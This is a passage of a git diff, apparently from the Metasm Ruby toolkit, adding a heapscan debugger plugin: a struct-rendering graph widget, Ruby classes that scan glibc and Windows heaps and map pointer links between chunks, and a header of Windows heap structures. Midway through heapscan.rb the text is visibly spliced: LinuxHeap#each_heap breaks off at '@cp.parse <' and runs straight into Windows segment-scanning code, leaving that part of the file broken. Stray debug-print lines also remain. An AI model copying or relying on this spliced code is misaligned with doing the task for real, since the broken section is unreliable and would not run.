+= 1 + } + render_val = lambda { |v| + if v.kind_of?(::Integer) + if v > 0x100 + render['0x%X' % v, :text] + elsif v < -0x100 + render['-0x%X' % -v, :text] + else + render[v.to_s, :text] + end + elsif not v + render['NULL', :text] + else + render[v.to_s, :text] + end + } + render_st = nil + render_st_ar = lambda { |ast, m| + elemt = m.type.untypedef.type.untypedef + if elemt.kind_of?(C::BaseType) and elemt.name == :char + render[margin, :text] + render["#{m.type.type.to_s[1...-1]} #{m.name}[#{m.type.length}] = #{ast[m].to_array.pack('C*').sub(/\0.*$/m, '').inspect}", :text] + nl[] + curaddr += ast.cp.sizeof(m) + else + t = m.type.type.to_s[1...-1] + tsz = ast.cp.sizeof(m.type.type) + fust = curst + fumb = curmb + curst = ast[m] + ast[m].to_array.each_with_index { |v, i| + curmb = i + render[margin, :text] + if elemt.kind_of?(C::Union) + if m.type.untypedef.type.kind_of?(C::Union) + render[elemt.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] + render["#{elemt.name} ", :text] if elemt.name + else # typedef + render["#{elemt.to_s[1...-1]} ", :text] + end + render_st[v] + render[" #{m.name}[#{i}]", :text] + else + render["#{t} #{m.name}[#{i}] = ", :text] + render_val[v] + @datadiff[curaddr] = true if ghosts and ghosts.all? { |g| g[curaddr-start_addr, tsz] == ghosts[0][curaddr-start_addr, tsz] } and ghosts[0][curaddr-start_addr, tsz] != ast.str[curaddr, tsz].to_str + end + render[';', :text] + nl[] + curaddr += tsz + } + curst = fust + curmb = fumb + end + } + render_st = lambda { |ast| + st_addr = curaddr + oldst = curst + oldmb = curmb + oldmargin = margin + render['{', :text] + nl[] + margin += ' ' + curst = ast + ast.struct.members.each { |m| + curmb = m + curaddr = st_addr + ast.struct.offsetof(@heap.cp, m) + + if bo = ast.struct.bitoffsetof(@heap.cp, m) + # float curaddr to make ghost hilight work on bitfields + curaddr += (1+bo[0])/1000.0 + end + + if m.type.untypedef.kind_of?(C::Array) + render_st_ar[ast, m] + elsif m.type.untypedef.kind_of?(C::Union) + render[margin, :text] + if m.type.kind_of?(C::Union) + render[m.type.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] + render["#{m.type.name} ", :text] if m.type.name + else # typedef + render["#{m.type.to_s[1...-1]} ", :text] + end + oca = curaddr + render_st[ast[m]] + nca = curaddr + curaddr = oca + render[" #{m.name if m.name};", :text] + nl[] + curaddr = nca + else + render[margin, :text] + render["#{m.type.to_s[1...-1]} ", :text] + render["#{m.name} = ", :text] + render_val[ast[m]] + tsz = ast.cp.sizeof(m) + # TODO bit-level multighosting + if ghosts and ghosts.all? { |g| g[curaddr.to_i-start_addr, tsz] == ghosts[0][curaddr.to_i-start_addr, tsz] } and ghosts[0][curaddr.to_i-start_addr, tsz] != ast.str[curaddr.to_i, tsz].to_str + if bo + ft = C::BaseType.new((bo[0] + bo[1] > 32) ? :__int64 : :__int32) + v1 = @heap.cp.decode_c_value(ghosts[0][curaddr.to_i-start_addr, tsz], ft, 0) + v2 = @heap.cp.decode_c_value(ast.str[curaddr.to_i, tsz], ft, 0) + @datadiff[curaddr] = true if (v1 >> bo[0]) & ((1 << bo[1])-1) != (v2 >> bo[0]) & ((1 << bo[1])-1) + else + @datadiff[curaddr] = true + end + end + render[';', :text] + + if m.type.kind_of?(C::Pointer) and m.type.type.kind_of?(C::BaseType) and m.type.type.name == :char + if s = @dasm.decode_strz(ast[m], 32) + render[" // #{s.inspect}", :comment] + end + end + nl[] + curaddr += tsz + curaddr = curaddr.to_i if bo + end + } + margin = oldmargin + curst = oldst + curmb = oldmb + render[margin, :text] + render['}', :text] + } + ast = @addr_struct[curaddr] + render["struct #{ast.struct.name} *#{'0x%X' % curaddr} = ", :text] + render_st[ast] + render[';', :text] + nl[] + + b.w = b[:line_text_col].map { |strc| strc.map { |s, c| s }.join.length }.max.to_i * @font_width + 2 + b.w += 1 if b.w % 2 == 0 + b.h = line * @font_height + } + end + + def struct_find_roots(addr) + addr = @addr_struct.keys.find { |a| addr >= a and addr < a+@addr_struct[a].sizeof } if not @addr_struct[addr] + + todo = [addr] + done = [] + roots = [] + default_root = nil + while a = todo.shift + if done.include?(a) # cycle + default_root ||= a + next + end + done << a + newf = @heap.xrchunksfrom[a].to_a & @addr_struct.keys + if newf.empty? + roots << a + else + todo.concat newf + end + end + roots << default_root if roots.empty? and default_root + + roots + end + + def focus_addr(addr, fu=nil) + return if @parent_widget and not addr = @parent_widget.normalize(addr) + + # move window / change curcontext + if b = @curcontext.box.find { |b_| b_[:line_address].index(addr) } + @caret_box, @caret_x, @caret_y = b, 0, b[:line_address].rindex(addr) + @curcontext.view_x += (width/2 / @zoom - width/2) + @curcontext.view_y += (height/2 / @zoom - height/2) + @zoom = 1.0 + + focus_xy(b.x, b.y + @caret_y*@font_height) + update_caret + elsif addr_struct and (@addr_struct[addr] or @addr_struct.find { |a, s| addr >= a and addr < a+s.sizeof }) + @curcontext = Graph.new 'testic' + @curcontext.root_addrs = struct_find_roots(addr) + @want_focus_addr = addr + gui_update + elsif @heap.chunks[addr] + @want_focus_addr = addr + do_focus_addr(addr) + else + return + end + true + end + + def do_focus_addr(addr) + st = @heap.chunk_struct[addr] || create_struct(addr) + + ed = @dasm.get_edata_at(addr) + @addr_struct = { addr => @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) } + gui_update + end + + # create the struct chunk_, register it in @heap.chunk_struct + def create_struct(addr) + raise "no chunk here" if not @heap.chunks[addr] + + ptsz = @dasm.cpu.size/8 + + # check if this is a c++ object with RTTI info + vptr = @dasm.decode_dword(addr) + rtti = @dasm.decode_dword(vptr-ptsz) + case OS.shortname + when 'winos' + typeinfo = @dasm.decode_dword(rtti+3*ptsz) if rtti + if typeinfo and s = @dasm.decode_strz(typeinfo+3*ptsz) + rtti_name = s[/^(.*)@@$/, 1] # remove trailing @@ + end + when 'linos' + typeinfo = @dasm.decode_dword(rtti+ptsz) if rtti + if typeinfo and s = @dasm.decode_strz(typeinfo) + rtti_name = s[/^[0-9]+(.*)$/, 1] # remove leading number + end + end + + if rtti_name and st = @heap.cp.toplevel.struct[rtti_name] + return @heap.chunk_struct[addr] = st + end + + st = C::Struct.new + st.name = rtti_name || "chunk_#{'%x' % addr}" + st.members = [] + li = 0 + (@heap.chunks[addr] / ptsz).times { |i| + n = 'unk_%x' % (ptsz*i) + v = @dasm.decode_dword(addr+ptsz*i) + if i == 0 and rtti_name + t = C::Pointer.new(C::Pointer.new(C::BaseType.new(:void))) + n = 'vtable' + elsif @heap.chunks[v] + t = C::Pointer.new(C::BaseType.new(:void)) + else + t = C::BaseType.new("__int#{ptsz*8}".to_sym, :unsigned) + end + st.members << C::Variable.new(n, t) + li = i+1 + } + (@heap.chunks[addr] % ptsz).times { |i| + n = 'unk_%x' % (ptsz*li+i) + t = C::BaseType.new(:char, :unsigned) + st.members << C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] = st + @heap.chunk_struct[addr] = st + end + + def snap + if not snapped + @datadiff = {} + ocb = @parent_widget.bg_color_callback + @parent_widget.bg_color_callback = lambda { |a| + if @datadiff[a] + 'f88' + elsif ocb + ocb[a] + end + } + end + @snapped = {} + @addr_struct.each { |a, ast| + @snapped[a] = [ast.str[ast.stroff, ast.sizeof].to_str] + } + end + + def snap_add + return snap if not snapped + @addr_struct.each { |a, ast| + (@snapped[a] ||= []) << ast.str[ast.stroff, ast.sizeof].to_str + } + end + + def get_cursor_pos + [super, addr_struct] + end + + def set_cursor_pos(p) + s, @addr_struct = p + super(s) + end +end +end +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb new file mode 100644 index 0000000000..884ff79b87 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb @@ -0,0 +1,709 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +module Metasm +class Heap + attr_accessor :vm, :range, :ptsz + attr_accessor :cp + # hash chunk userdata pointer -> chunk userdata size + attr_accessor :chunks + # hash chunk user pointer -> C::Struct + attr_accessor :chunk_struct + # the chunk graph: chunk pointer -> [array of chunks addrs pointed] + attr_accessor :xrchunksto, :xrchunksfrom + + def initialize(dbg) + @dbg = dbg + @dbg.pid_stuff_list << :heap + @dbg.heap = self + @range = {} + @dwcache = {} + # userdata_ptr => len + @chunks = {} + @xrchunksto = {} + @xrchunksfrom = {} + @ptsz = dbg.cpu.size/8 + # ptr => C::Struct + @chunk_struct = {} + end + + def pagecache(base, len) + @dbg.read_mapped_range(base, len) + end + + def dwcache(base, len) + @dwcache[[base, len]] ||= pagecache(base, len).unpack(@ptsz == 4 ? 'L*' : 'Q*') + end + + # return the array of dwords in the chunk + def chunkdw(ptr, len=@chunks[ptr]) + if base = find_range(ptr) + dwcache(base, @range[base])[(ptr-base)/@ptsz, len/@ptsz] + end + end + + # returns the list of chunks, sorted + def chunklist + @chunklist ||= @chunks.keys.sort + end + + # dichotomic search of the chunk containing ptr + # len = hash ptr => length + # list = list of hash keys sorted + def find_elem(ptr, len, list=nil) + return ptr if len[ptr] + + list ||= len.keys.sort + + if list.length < 16 + return list.find { |p| p <= ptr and p + len[p] > ptr } + end + + window = list + while window and not window.empty? + i = window.length/2 + wi = window[i] + if ptr < wi + window = window[0, i] + elsif ptr < wi + len[wi] + return wi + else + window = window[i+1, i] + end + end + end + + # find the chunk encompassing ptr + def find_chunk(ptr) + find_elem(ptr, @chunks, chunklist) + end + + def find_range(ptr) + @range_keys ||= @range.keys.sort + find_elem(ptr, @range, @range_keys) + end + + # { chunk size => [list of chunk addrs] } + attr_accessor :buckets + def bucketize + @buckets = {} + chunklist.each { |a| + (@buckets[@chunks[a]] ||= []) << a + } + end + + # find the kernels of the graph (strongly connected components) + # must be called after scan_xr + # also find the graph diameter + attr_accessor :kernels, :maxpath + def find_kernels(adj = @xrchunksto) + @maxpath = [] + kernels = {} + adj.keys.sort.each { |ptr| + next if kernels[ptr] + paths = [[ptr]] + while path = paths.pop + next if not l = @xrchunksfrom[path.first] + l.each { |pl| + next if kernels[pl] + next if not adj[pl] + if path.include?(pl) + kernels[pl] = true + else + paths << [pl, *path] + end + } + @maxpath = paths.last if paths.last and paths.last.length > @maxpath.length + end + } + if @maxpath.first and np = (adj[@maxpath.last] - @maxpath).first + @maxpath << np + end + @kernels = [] + while k = kernels.index(true) + curk = reachfrom(k, adj).find_all { |ok| + true == reachfrom(ok, adj) { |tk| + break true if tk == k + } + } + @kernels << curk + curk.each { |ka| kernels.delete ka } + end + end + + attr_accessor :roots + # find the root nodes that allow acces to most other nodes + # { root => [reachable nodes] } + # does not include single nodes (@chunks.keys - @xrchunksfrom.keys) + def find_roots(adj=@xrchunksto) + @roots = {} + adj.keys.sort.each { |r| + if not @roots[r] + l = reachfrom(r, adj, @roots) + l.each { |t| @roots[t] = true if adj[t] } # may include r !, also dont mark leaves + @roots[r] = l + end + } + @roots.delete_if { |k, v| v == true } + end + + def reachfrom(p, adj = @xrchunksto, roots={}) + return roots[p] if roots[p].kind_of? Array + hash = {} + todo = [p] + while p = todo.pop + if to = roots[p] || adj[p] and to.kind_of? Array + to.each { |tk| + if not hash[tk] + hash[tk] = true + todo << tk + yield tk if block_given? + end + } + end + end + hash.keys + end + + # create a subset of xrchunksto from one point + def graph_from(p, adj = @xrchunksto) + hash = {} + todo = [p] + while p = todo.pop + next if hash[p] + if adj[p] + hash[p] = adj[p] + todo.concat hash[p] + end + end + hash + end + + # dump the whole graph in a dot file + def dump_graph(fname='graph.gv', graph=@xrchunksto) + File.open(fname, 'w') { |fd| + fd.puts "digraph foo {" + graph.each { |b, l| + fd.puts l.map { |e| '"%x" -> "%x";' % [b, e] } + } + fd.puts "}" + } + end + + # chunk ptr => { dwindex => [list of ptrs] } + attr_accessor :linkedlists, :alllists + def find_linkedlists + @linkedlists = {} + @alllists = [] + @buckets.sort.each { |sz, lst| + #puts "sz #{sz} #{lst.length}" + lst.each { |ptr| + next if not l = @xrchunksto[ptr] + next if not l.find { |tg| @chunks[tg] == sz } + dw = chunkdw(ptr) + dw.length.times { |dwoff| + next if @linkedlists[ptr] and @linkedlists[ptr][dwoff] + tg = dw[dwoff] + next if @chunks[tg] != sz + check_linkedlist(ptr, dwoff) + } + } + } + end + + def check_linkedlist(ptr, dwoff) + psz = @chunks[ptr] + fwd = ptr + lst = [fwd] + base = find_range(fwd) + loop do + if not base or base > fwd or base + @range[base] <= fwd + base = find_range(fwd) + end + break if not base + fwd = dwcache(base, @range[base])[(fwd-base)/@ptsz + dwoff] + break if fwd == 0 + return if not cl = @chunks[fwd] # XXX root/tail may be in .data + return if cl != psz + break if lst.include? fwd + lst << fwd + end + fwd = ptr + while pv = @xrchunksfrom[fwd] + fwd = pv.find { |p| + next if @chunks[p] != psz + if not base or base > p or base + @range[base] <= p + base = find_range(fwd) + end + dwcache(base, @range[base])[(p-base)/@ptsz + dwoff] == fwd + } + break if not fwd + break if lst.include? fwd + lst.unshift fwd + end + if lst.length > 3 + lst.each { |p| (@linkedlists[p] ||= {})[dwoff] = lst } + @alllists << lst + end + end + + # { chunkinarray => { rootptr => [chunks] } } + attr_accessor :arrays, :allarrays + def find_arrays + @arrays = {} + @allarrays = [] + @buckets.sort.each { |sz, lst| + next if sz < @ptsz*6 + lst.each { |ptr| + next if not to = @xrchunksto[ptr] + # a table must have at least half its storage space filled with ptrs + next if to.length <= sz/@ptsz/2 + # also, ptrs must point to same-size stuff + lsz = Hash.new(0) + to.each { |t| lsz[@chunks[t]] += 1 } + cnt = lsz.values.max + next if cnt <= sz/@ptsz/2 + tgsz = lsz.index(cnt) + ar = to.find_all { |t| @chunks[t] == tgsz }.uniq + next if ar.length <= sz/@ptsz/2 + ar.each { |p| (@arrays[p] ||= {})[ptr] = ar } + @allarrays << ar + } + } + end +end + +class LinuxHeap < Heap + # find all chunks in the memory address space + attr_accessor :mmaps + + def scan_chunks + @chunks = {} + each_heap { |a, l, ar| + scan_heap(a, l, ar) + } + @mmapchunks = [] + @mmaps.each { |a, l| + ll = scan_mmap(a, l) || 4096 + a += ll + l -= ll + } + end + + # scan all chunks for cross-references (one chunk contaning a pointer to some other chunk) + def scan_chunks_xr + @xrchunksto = {} + @xrchunksfrom = {} + each_heap { |a, l, ar| + scan_heap_xr(a, l) + } + @mmapchunks.each { |a| + scan_mmap_xr(a, @chunks[a]) + } + end + + # scan chunks from a heap base addr + def scan_heap(base, len, ar) + dw = dwcache(base, len) + ptr = 0 + + psz = dw[ptr] + sz = dw[ptr+1] + base += 2*@ptsz # user pointer + raise "bad heap base %x %x %x %x" % [psz, sz, base, len] if psz != 0 or sz & 1 == 0 + + loop do + clen = sz & -8 # chunk size + ptr += clen/@ptsz # start of next chk + break if ptr >= dw.length or clen == 0 + sz = dw[ptr+1] + if sz & 1 > 0 # pv_inuse + # user data length up to chucksize-4 (over next psz) + #puts "used #{'%x' % base} #{clen-@ptsz}" if $VERBOSE + @chunks[base] = clen-@ptsz + else + #puts "free #{'%x' % base} #{clen-@ptsz}" if $VERBOSE + end + base += clen + end + + del_fastbin(ar) + end + + def scan_heap_xr(base, len) + dw = dwcache(base, len) + @chunks.each_key { |p| + i = (p-base) / @ptsz + if i >= 0 and i < dw.length + lst = dw[i, @chunks[p]/@ptsz].find_all { |pp| @chunks[pp] } + @xrchunksto[p] = lst if not lst.empty? + lst.each { |pp| (@xrchunksfrom[pp] ||= []) << p } + end + } + end + + # scan chunks from a mmap base addr + # big chunks are allocated on anonymous-mmap areas + # for mmap chunks, pv_sz=0 pv_inuse=0, mmap=1, data starts at 8, mmapsz = userlen+12 [roundup 4096] + # one entry in /proc/pid/maps may point to multiple consecutive mmap chunks + # scans for a mmap chunk header, returns the chunk size if pattern match or nil + def scan_mmap(base, len) + foo = chunkdata(base) + clen = foo[1] & ~0xfff + if foo[0] == 0 and foo[1] & 0xfff == 2 and clen > 0 and clen <= len + @chunks[base + foo.length] = clen-4*@ptsz + @mmapchunks << (base + foo.length) + clen + end + end + + def scan_mmap_xr(base, len) + dw = dwcache(base, len) + lst = dw[2..-1].find_all { |pp| @chunks[pp] } + @xrchunksto[base] = lst if not lst.empty? + lst.each { |pp| (@xrchunksfrom[pp] ||= []) << base } + end + + attr_accessor :main_arena_ptr + + # we need to find the main_arena from the libc + # we do this by analysing 'malloc_trim' + def scan_libc(addr) + raise 'no libc' if not addr + + return if @main_arena_ptr = @dbg.symbols.index('main_arena') + + unless trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') + @dbg.loadsyms 'libc[.-]' + trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') + end + raise 'cant find malloc_trim' if not trim + + d = @dbg.disassembler + + d.disassemble_fast(trim) if not d.di_at(trim) + if d.block_at(trim).list.last.opcode.name == 'call' + # x86 getip, need to dasm to have func_binding (cross fingers) + d.disassemble d.block_at(trim).to_normal.first + end + d.each_function_block(trim) { |b| + # mutex_lock(&main_arena.mutex) gives us the addr + next if not cmpxchg = d.block_at(b).list.find { |di| di.kind_of? DecodedInstruction and di.opcode.name == 'cmpxchg' } + @main_arena_ptr = d.backtrace(cmpxchg.instruction.args.first.symbolic.pointer, cmpxchg.address) + if @main_arena_ptr.length == 1 + @main_arena_ptr = @main_arena_ptr[0].reduce + break + end + } + raise "cant find mainarena" if not @main_arena_ptr.kind_of? Integer + @dbg.symbols[@main_arena_ptr] = 'main_arena' + end + + def chunkdata(ptr) + @cp.decode_c_ary('uintptr_t', 2, @dbg.memory, ptr).to_array + end + + def each_heap + if not @cp.toplevel.struct['malloc_state'] + @cp.parse < 0 + heapcpy[off + @hsz, csz].unpack('L*').each { |p| + if @chunks[p] + (@xrchunksto[ptr] ||= []) << p + (@xrchunksfrom[p] ||= []) << ptr + end + } + end + off += sz + end + end + + # yields the _HEAP structure for all heaps + def each_heap + heaps.each { |a, l| + ar = @cp.decode_c_struct('_HEAP', @dbg.memory, a) + yield ar + } + end + + # yields all [ptr, len] for allocated segments of a _HEAP + # this maps to the _HEAP_SEGMENT further subdivised to skip + # the _HEAP_UNCOMMMTTED_RANGE areas + # for the last chunk of the _HEAP_SEGMENT, only yield up to chunk_header + def each_heap_segment(ar) + ar.segments.to_array.compact.each { |a| + sg = @cp.decode_c_struct('_HEAP_SEGMENT', @dbg.memory, a) + skiplist = [] + ptr = sg.uncommittedranges + while ptr + ucr = @cp.decode_c_struct('_HEAP_UNCOMMMTTED_RANGE', @dbg.memory, ptr) + skiplist << [ucr.Address, ucr.Size] + ptr = ucr.Next + end + ptr = sg.firstentry + # XXX lastentryinsegment == firstentry ??? + # lastvalidentry = address of the end of the segment (may point to unmapped space) + ptrend = sg.lastvalidentry + skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } + skiplist << [ptrend, 1] + skiplist.sort.each { |sa, sl| + yield(ptr, sa-ptr) + ptr = sa + sl + } + } + end + + # call with a LIST_ENTRY allocstruct, the target structure and LE offset in this structure + def each_listentry(le, st, off=0) + ptr0 = le.stroff + ptr = le.flink + while ptr != ptr0 + yield @cp.decode_c_struct(st, @dbg.memory, ptr-off) + ptr = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, ptr).flink + end + end +end + +class Windows7Heap < WindowsHeap + # 4-byte xor key to decrypt the chunk headers + attr_accessor :chunkkey_size, :chunkkey_flags, :chunkkey_unusedbytes + def each_heap_segment(ar) + if ar.encodeflagmask != 0 + @chunkkey_size = ar.encoding.size + @chunkkey_flags = ar.encoding.flags + @chunkkey_unusedbytes = ar.encoding.unusedbytes + else + @chunkkey_size = 0 + @chunkkey_flags = 0 + @chunkkey_unusedbytes = 0 + end + + each_listentry(ar.segmentlist, '_HEAP_SEGMENT', 0x10) { |sg| + skiplist = [] + each_listentry(sg.ucrsegmentlist, '_HEAP_UCR_DESCRIPTOR', 8) { |ucr| + skiplist << [ucr.address, ucr.size] + } + + ptr = sg.firstentry + ptrend = sg.lastvalidentry + @hsz + skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } + skiplist << [ptrend, 1] + skiplist.sort.each { |sa, sl| + yield(ptr, sa-ptr) + ptr = sa + sl + } + } + end + + def scan_heap_segment(first, len) + off = 0 + heapcpy = pagecache(first, len) + while off < len + he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off) + sz = (he.Size ^ @chunkkey_size)*8 + if (he.Flags ^ @chunkkey_flags) & 1 == 1 + @chunks[first+off+@hsz] = sz - (he.UnusedBytes ^ @chunkkey_unusedbytes) + end + off += sz + end + end + + def scan_frontend(ar) + return if ar.frontendheaptype != 2 + lfh = @cp.decode_c_struct('_LFH_HEAP', @dbg.memory, ar.frontendheap) + lfh.localdata[0].segmentinfo.to_array.each { |sinfo| + sinfo.cacheditems.to_array.each { |ssp| + next if not ssp + subseg = @cp.decode_c_struct('_HEAP_SUBSEGMENT', @dbg.memory, ssp) + scan_lfh_ss(subseg) + } + } + end + + def scan_lfh_ss(subseg) + up = subseg.userblocks + return if not up + bs = subseg.blocksize + bc = subseg.blockcount + list = Array.new(bc) { |i| up + 0x10 + bs*8*i } + + free = [] + ptr = subseg.freeentryoffset + subseg.depth.times { + free << (up + 8*ptr) + ptr = @dbg.memory[up + 8*ptr + 8, 2].unpack('v')[0] + } +@foo ||= 0 +@foo += 1 +p @foo if @foo % 10 == 0 + + up += 0x10 + list -= free + list.each { |p| @chunks[p+8] = bs*8 - (@cp.decode_c_struct('_HEAP_ENTRY', @dbg.memory, p).unusedbytes & 0x7f) } + end + + def scan_chunks_xr + @xrchunksto = {} + @xrchunksfrom = {} + @chunks.each { |a, l| + pagecache(a, l).unpack('L*').each { |p| + if @chunks[p] + (@xrchunksto[a] ||= []) << p + (@xrchunksfrom[p] ||= []) << a + end + } + } + end +end +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h new file mode 100644 index 0000000000..adcc7fb004 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h @@ -0,0 +1,174 @@ +typedef void VOID; +typedef unsigned __int8 UINT8; +typedef unsigned __int16 UINT16; +typedef __int32 LONG32; +typedef unsigned __int32 ULONG32; +typedef unsigned __int64 UINT64; + +// pseudo struct, for the PEB heap list +struct HEAPTABLE { + struct _HEAP *list[16]; +}; + +struct _LIST_ENTRY { + struct _LIST_ENTRY *FLink; + struct _LIST_ENTRY *BLink; +}; + +union _SLIST_HEADER { + struct _LIST_ENTRY le; +}; + +typedef struct _HEAP_ENTRY // 7 elements, 0x8 bytes (sizeof) +{ +// union // 2 elements, 0x4 bytes (sizeof) +// { +// struct // 2 elements, 0x4 bytes (sizeof) +// { +/*0x000*/ UINT16 Size; +/*0x002*/ UINT16 PreviousSize; +// }; +///*0x000*/ VOID* SubSegmentCode; +// }; +/*0x004*/ UINT8 SmallTagIndex; +/*0x005*/ UINT8 Flags; +/*0x006*/ UINT8 UnusedBytes; +/*0x007*/ UINT8 SegmentIndex; +}HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP // 36 elements, 0x588 bytes (sizeof) +{ +/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) +/*0x008*/ ULONG32 Signature; +/*0x00C*/ ULONG32 Flags; +/*0x010*/ ULONG32 ForceFlags; +/*0x014*/ ULONG32 VirtualMemoryThreshold; +/*0x018*/ ULONG32 SegmentReserve; +/*0x01C*/ ULONG32 SegmentCommit; +/*0x020*/ ULONG32 DeCommitFreeBlockThreshold; +/*0x024*/ ULONG32 DeCommitTotalFreeThreshold; +/*0x028*/ ULONG32 TotalFreeSize; +/*0x02C*/ ULONG32 MaximumAllocationSize; +/*0x030*/ UINT16 ProcessHeapsListIndex; +/*0x032*/ UINT16 HeaderValidateLength; +/*0x034*/ VOID* HeaderValidateCopy; +/*0x038*/ UINT16 NextAvailableTagIndex; +/*0x03A*/ UINT16 MaximumTagIndex; +/*0x03C*/ struct _HEAP_TAG_ENTRY* TagEntries; +/*0x040*/ struct _HEAP_UCR_SEGMENT* UCRSegments; +/*0x044*/ struct _HEAP_UNCOMMMTTED_RANGE* UnusedUnCommittedRanges; +/*0x048*/ ULONG32 AlignRound; +/*0x04C*/ ULONG32 AlignMask; +/*0x050*/ struct _LIST_ENTRY VirtualAllocdBlocks; // 2 elements, 0x8 bytes (sizeof) +/*0x058*/ struct _HEAP_SEGMENT* Segments[64]; + union // 2 elements, 0x10 bytes (sizeof) + { +/*0x158*/ ULONG32 FreeListsInUseUlong[4]; +/*0x158*/ UINT8 FreeListsInUseBytes[16]; + }u; + union // 2 elements, 0x2 bytes (sizeof) + { +/*0x168*/ UINT16 FreeListsInUseTerminate; +/*0x168*/ UINT16 DecommitCount; + }u2; +/*0x16A*/ UINT16 AllocatorBackTraceIndex; +/*0x16C*/ ULONG32 NonDedicatedListLength; +/*0x170*/ VOID* LargeBlocksIndex; +/*0x174*/ struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; +/*0x178*/ struct _LIST_ENTRY FreeLists[128]; +/*0x578*/ struct _HEAP_LOCK* LockVariable; +///*0x57C*/ FUNCT_0049_0C5F_CommitRoutine* CommitRoutine; +/*0x57C*/ VOID* CommitRoutine; +/*0x580*/ VOID* FrontEndHeap; +/*0x584*/ UINT16 FrontHeapLockCount; +/*0x586*/ UINT8 FrontEndHeapType; +/*0x587*/ UINT8 LastSegmentIndex; +}HEAP, *PHEAP; + +typedef struct _HEAP_UNCOMMMTTED_RANGE // 4 elements, 0x10 bytes (sizeof) +{ +/*0x000*/ struct _HEAP_UNCOMMMTTED_RANGE* Next; +/*0x004*/ ULONG32 Address; +/*0x008*/ ULONG32 Size; +/*0x00C*/ ULONG32 filler; +}HEAP_UNCOMMMTTED_RANGE, *PHEAP_UNCOMMMTTED_RANGE; + +typedef struct _HEAP_ENTRY_EXTRA // 4 elements, 0x8 bytes (sizeof) +{ + union // 2 elements, 0x8 bytes (sizeof) + { + struct // 3 elements, 0x8 bytes (sizeof) + { +/*0x000*/ UINT16 AllocatorBackTraceIndex; +/*0x002*/ UINT16 TagIndex; +/*0x004*/ ULONG32 Settable; + }; +/*0x000*/ UINT64 ZeroInit; + }; +}HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY // 5 elements, 0x20 bytes (sizeof) +{ +/*0x000*/ struct _LIST_ENTRY Entry; // 2 elements, 0x8 bytes (sizeof) +/*0x008*/ struct _HEAP_ENTRY_EXTRA ExtraStuff; // 4 elements, 0x8 bytes (sizeof) +/*0x010*/ ULONG32 CommitSize; +/*0x014*/ ULONG32 ReserveSize; +/*0x018*/ struct _HEAP_ENTRY BusyBlock; // 7 elements, 0x8 bytes (sizeof) +}HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; + + +typedef struct _HEAP_FREE_ENTRY // 8 elements, 0x10 bytes (sizeof) +{ + union // 2 elements, 0x4 bytes (sizeof) + { + struct // 2 elements, 0x4 bytes (sizeof) + { +/*0x000*/ UINT16 Size; +/*0x002*/ UINT16 PreviousSize; + }; +/*0x000*/ VOID* SubSegmentCode; + }; +/*0x004*/ UINT8 SmallTagIndex; +/*0x005*/ UINT8 Flags; +/*0x006*/ UINT8 UnusedBytes; +/*0x007*/ UINT8 SegmentIndex; +/*0x008*/ struct _LIST_ENTRY FreeList; // 2 elements, 0x8 bytes (sizeof) +}HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; + +typedef struct _HEAP_LOOKASIDE // 10 elements, 0x30 bytes (sizeof) +{ +/*0x000*/ union _SLIST_HEADER ListHead; // 4 elements, 0x8 bytes (sizeof) +/*0x008*/ UINT16 Depth; +/*0x00A*/ UINT16 MaximumDepth; +/*0x00C*/ ULONG32 TotalAllocates; +/*0x010*/ ULONG32 AllocateMisses; +/*0x014*/ ULONG32 TotalFrees; +/*0x018*/ ULONG32 FreeMisses; +/*0x01C*/ ULONG32 LastTotalAllocates; +/*0x020*/ ULONG32 LastAllocateMisses; +/*0x024*/ ULONG32 Counters[2]; +/*0x02C*/ UINT8 _PADDING0_[0x4]; +}HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; + +struct FRONTEND1 { + struct _HEAP_LOOKASIDE l[128]; +}; + +typedef struct _HEAP_SEGMENT // 15 elements, 0x3C bytes (sizeof) +{ +/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) +/*0x008*/ ULONG32 Signature; +/*0x00C*/ ULONG32 Flags; +/*0x010*/ struct _HEAP* Heap; +/*0x014*/ ULONG32 LargestUnCommittedRange; +/*0x018*/ VOID* BaseAddress; +/*0x01C*/ ULONG32 NumberOfPages; +/*0x020*/ struct _HEAP_ENTRY* FirstEntry; +/*0x024*/ struct _HEAP_ENTRY* LastValidEntry; +/*0x028*/ ULONG32 NumberOfUnCommittedPages; +/*0x02C*/ ULONG32 NumberOfUnCommittedRanges; +/*0x030*/ struct _HEAP_UNCOMMMTTED_RANGE* UnCommittedRanges; +/*0x034*/ UINT16 AllocatorBackTraceIndex; +/*0x036*/ UINT16 Reserved; +/*0x038*/ struct _HEAP_ENTRY* LastEntryInSegment; +}HEAP_SEGMENT, *PHEAP_SEGMENT; diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h new file mode 100644 index 0000000000..9358915856 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h @@ -0,0 